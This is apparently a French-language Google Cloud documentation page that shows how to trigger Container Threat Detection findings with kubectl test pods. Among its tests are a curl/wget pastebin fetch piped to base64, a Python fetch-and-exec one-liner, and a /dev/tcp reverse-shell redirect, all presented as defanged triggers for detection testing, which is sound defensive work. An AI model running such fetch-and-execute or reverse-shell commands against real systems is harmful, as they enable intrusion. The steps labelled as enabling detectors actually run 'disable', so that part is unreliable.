Cette page explique comment vérifier que Container Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Container Threat Detection est un service intégré aux niveaux Premium et Enterprise de Security Command Center. Pour afficher les résultats de Container Threat Detection, celui-ci doit être activé dans les paramètres Services de Security Command Center.
Avant de commencer
Pour détecter les menaces potentielles pour vos conteneurs, vous devez vous assurer que vos clusters se trouvent dans une version compatible de Google Kubernetes Engine (GKE). Pour en savoir plus, consultez la section Utiliser une version de GKE compatible.
Activer les détecteurs
Les détecteurs Added Binary Executed
et Added Library Loaded
sont désactivés par défaut. Pour tester ces détecteurs, vous devez les activer explicitement:
Vérifiez l'état du détecteur:
export PROJECT=PROJECT_ID gcloud alpha scc settings services describe \ --service=CONTAINER_THREAT_DETECTION \ --project=${PROJECT}
Activez le détecteur
Added Binary Executed
:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}
Activez le détecteur
Added Library Loaded
:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
Définir des variables d'environnement
Pour tester les détecteurs, vous devez utiliser Google Cloud Console et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Les variables suivantes sont utilisées pour tester tous les détecteurs Container Threat Detection.
Accédez à Google Cloud Console.
Accédez à Google Cloud Console.
Sélectionnez le projet contenant le conteneur que vous souhaitez utiliser pour le test.
Cliquez sur Activer Cloud Shell.
Dans Cloud Shell, définissez des variables d'environnement.
Zone dans laquelle se trouve votre cluster :
export ZONE=CLUSTER_ZONE
Le projet dans lequel se trouve votre conteneur :
export PROJECT=PROJECT_ID
Le nom de votre cluster :
export CLUSTER_NAME=CLUSTER_NAME
Les variables sont définies. Les sections suivantes incluent des instructions concernant le test des détecteurs de Container Threat Detection.
Fichier binaire ajouté exécuté
Pour déclencher le résultat d'un fichier binaire ajouté exécuté, déposez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls
à un autre emplacement, puis l'exécute. L'exécution du fichier binaire est inattendue, car la copie de ce fichier ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Déposez un fichier binaire et exécutez-le :
Nœud x86:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Nœud ARM:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Cette procédure de test doit créer un fichier binaire supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats d'exécution de binaires ajoutés. Pour afficher tous les résultats de l'exécution du binaire ajouté lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test
au nom du conteneur ou du pod, comme dans l'exemple.
Ajout de bibliothèque chargée
Pour déclencher le résultat d'une bibliothèque ajoutée chargée, déposez une bibliothèque dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 24.04, copie /lib/x86_64-linux-gnu/libc.so.6
à un autre emplacement, puis la charge à l'aide de ld
. La bibliothèque chargée est inattendue, car la copie de la bibliothèque ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Déposez une bibliothèque et utilisez
ld
pour la charger :Nœud x86:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Nœud ARM:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
Cette procédure de test doit créer une bibliothèque chargée supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.
Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats de bibliothèque ajoutée chargée. Pour afficher tous les résultats "Bibliothèque ajoutée chargée" lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test
au nom du conteneur ou du pod, comme dans l'exemple.
Exécution: Fichier binaire malveillant ajouté exécuté
Pour déclencher un résultat d'exécution: fichier binaire malveillant ajouté exécuté, déposez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, crée un fichier malveillant simulé, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier binaire malveillant simulé ne faisait pas partie de l'image de conteneur d'origine. De plus, il s'agit d'un fichier de test EICAR, classé comme malveillant par l'intelligence sur les menaces.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Déposez le binaire EICAR et exécutez-le:
Nœud x86:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Nœud ARM:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Cette procédure de test doit créer un résultat "Exécution: fichier binaire malveillant ajouté exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution: Fichier binaire malveillant ajouté exécuté". Pour afficher tous les résultats "Exécution: fichier binaire malveillant ajouté exécuté" lorsqu'un conteneur est configuré, ajoutez ktd-test
au nom du conteneur ou du pod, comme dans l'exemple.
Exécution: fuite du conteneur
Pour déclencher un résultat d'exécution: évasion de conteneur, placez un binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls
à un autre emplacement, le renomme en outil suspect (botb-linux-amd64
) et l'exécute avec des arguments supplémentaires. Cette action est considérée comme suspecte, car cette exécution simule un comportement cohérent avec une tentative d'évasion de conteneur.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Déposez un fichier binaire d'outil d'exploitation de conteneur tel que
botb-linux-amd64
et exécutez-le:Nœud x86:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
Nœud ARM:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
Cette procédure de test doit créer un résultat "Exécution: évasion de conteneur" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats "Exécution: Évasion de conteneur". Pour afficher tous les résultats de l'exécution: Évasion de conteneur pendant la configuration d'un conteneur, ajoutez le préfixe ktd-test
au nom du conteneur ou du pod, comme dans l'exemple.
Exécution: exécution de l'outil d'attaque Kubernetes
Pour déclencher un résultat "Exécution: exécution d'un outil d'attaque Kubernetes", placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls
à un autre emplacement, le renomme en outil suspect (amicontained
) et l'exécute. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec une tentative d'exécution d'un outil d'attaque Kubernetes.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Déposez un fichier binaire d'outil d'attaque Kubernetes tel que
amicontained
et exécutez-le:Nœud x86:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Nœud ARM:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Cette procédure de test doit créer un résultat "Exécution: exécution d'un outil d'attaque Kubernetes" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats de l'exécution: exécution de l'outil d'attaque Kubernetes.
Pour afficher tous les résultats d'exécution: exécution d'un outil d'attaque Kubernetes lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test
au nom du conteneur ou du pod, comme dans l'exemple.
Exécution: exécution de l'outil de reconnaissance local
Pour déclencher un résultat d'exécution: exécution d'un outil de reconnaissance local, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls
à un autre emplacement, le renomme en outil suspect (linenum.sh
) et l'exécute. Cette action est considérée comme suspecte, car l'exécution du binaire renommé simule un comportement cohérent avec une tentative de reconnaissance locale.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Déposez un binaire d'outil de reconnaissance locale tel que
linenum.sh
et exécutez-le:Nœud x86:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Nœud ARM:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Cette procédure de test doit créer un résultat "Exécution: exécution d'un outil de reconnaissance local" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats d'exécution: exécution de l'outil de reconnaissance local. Pour afficher tous les résultats de l'exécution: exécution de l'outil de reconnaissance local pendant la configuration d'un conteneur, ajoutez le préfixe ktd-test
au nom du conteneur ou du pod, comme dans l'exemple.
Execution: Malicious Python executed
Pour déclencher un résultat Execution: Malicious Python executed
, vous pouvez exécuter Python dans la procédure suivante dans votre conteneur.
La procédure déploie la dernière image Python, copie le code Python qui semble malveillant, puis l'exécute. Pour déclencher une détection, le code Python doit sembler malveillant pour le détecteur.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Exécutez le script suivant dans un nouveau conteneur.
Ce code Python provient d'un piège à miel. Toutefois, il a été modifié pour qu'il n'exécute pas le binaire malveillant. L'exécution du script n'entraîne aucune activité malveillante dans votre conteneur. Le binaire de l'URL référencée n'existe pas, et toute tentative de suivi de l'URL génère une erreur 404. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un binaire à l'aide d'un script intégré déclenche la détection.
Nœud x86:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Nœud ARM:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Cette procédure de test crée un résultat Execution: Malicious Python executed
que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
Exécution: fichier binaire malveillant modifié exécuté
Pour déclencher un résultat d'exécution: fichier binaire malveillant modifié exécuté, modifiez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, modifie /bin/ls
en fichier malveillant de test EICAR, puis l'exécute. L'exécution du binaire est inattendue, car le /bin/ls
créé est modifié lors de l'exécution du conteneur en tant que binaire malveillant de test EICAR, et le binaire EICAR est un fichier malveillant connu selon l'intelligence sur les menaces.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Déposez le binaire EICAR et exécutez-le:
Nœud x86:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Nœud ARM:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Cette procédure de test doit créer un résultat "Exécution: fichier binaire malveillant modifié exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution: fichier binaire malveillant modifié exécuté". Pour afficher tous les résultats "Exécution: fichier binaire malveillant modifié exécuté" lorsqu'un conteneur est configuré, ajoutez le préfixe ktd-test
au nom du conteneur ou du pod, comme dans l'exemple.
Script malveillant exécuté
Pour déclencher un résultat de script malveillant exécuté, vous pouvez exécuter le script dans la procédure suivante dans votre conteneur.
La procédure déploie la dernière image Ubuntu 24.04, copie un script qui semble malveillant, puis l'exécute. Pour déclencher une détection, un script doit sembler malveillant pour le détecteur.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Exécutez le script suivant dans un nouveau conteneur.
Ce script Bourne shell intégré provient d'un piège à miel. Toutefois, il a été modifié pour qu'il n'exécute pas le binaire malveillant. L'exécution du script n'entraîne donc aucune activité malveillante dans votre conteneur. Le binaire à l'URL référencée a peut-être été supprimé. Si vous essayez de suivre l'URL, une erreur 404 s'affiche. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un binaire à l'aide d'un script intégré déclenche la détection.
Nœud x86:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Nœud ARM:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Cette procédure de test crée un résultat de script malveillant exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.
URL malveillante détectée
Pour déclencher un résultat "URL malveillante observée", exécutez un binaire et fournissez une URL malveillante en tant qu'argument.
L'exemple suivant déploie une image Ubuntu 24.04 et exécute /bin/curl
pour accéder à un exemple d'URL de logiciel malveillant à partir du service Safe Browsing (Navigation sécurisée).
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Exécutez
curl
et fournissez une URL malveillante comme argument:Nœud x86:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Nœud ARM:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Cette procédure de test déclenche un résultat "URL malveillante observée" que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.
Interface système inversée
Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin
vers un socket connecté TCP. Cet exemple copie /bin/echo
dans /tmp/sh
, puis démarre /tmp/sh
avec une redirection vers le DNS public de Google
8.8.8.8
sur le port DNS. Aucun élément n'est imprimé lorsque vous exécutez cet exemple. Pour empêcher toute injection de code externe via une attaque MITM ("man in the middle"), cet exemple n'utilise pas le binaire /bin/sh
.
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Démarrez un fichier binaire avec une redirection
/bin/echo
vers le DNS public de Google :Nœud x86:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Nœud ARM:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Cette procédure de test crée un résultat d'interface système inversée que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.
Shell enfant inattendu
Pour tester le détecteur Unexpected Child Shell
, vous pouvez créer un arbre de processus qui inclut un processus shell enfant.
L'exemple suivant crée un arbre de processus consul->dash
, qui peut être détecté par le détecteur Unexpected Child Shell
. Ce test est sûr, car il n'utilise que des binaires intégrés. Cet exemple effectue les opérations suivantes :
- Crée une copie du processus
sh
et la nommeconsul
. - Copiez le processus
echo
et nommez-ledash
. - Invoque le processus
dash
copié dans le processusconsul
copié.
Pour déclencher une analyse Unexpected Child Shell
, procédez comme suit:
Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Utilisez le processus
consul
fictif pour appeler un shell fictif:Nœud x86:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Nœud ARM:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Cette procédure de test crée un résultat Unexpected Child Shell
que vous pouvez afficher dans Security Command Center. Si la journalisation est configurée pour Container Threat Detection et que vous avez activé Security Command Center Premium ou Enterprise au niveau de l'organisation, vous pouvez également afficher le résultat dans Cloud Logging.
Étape suivante
- Découvrez comment utiliser Container Threat Detection.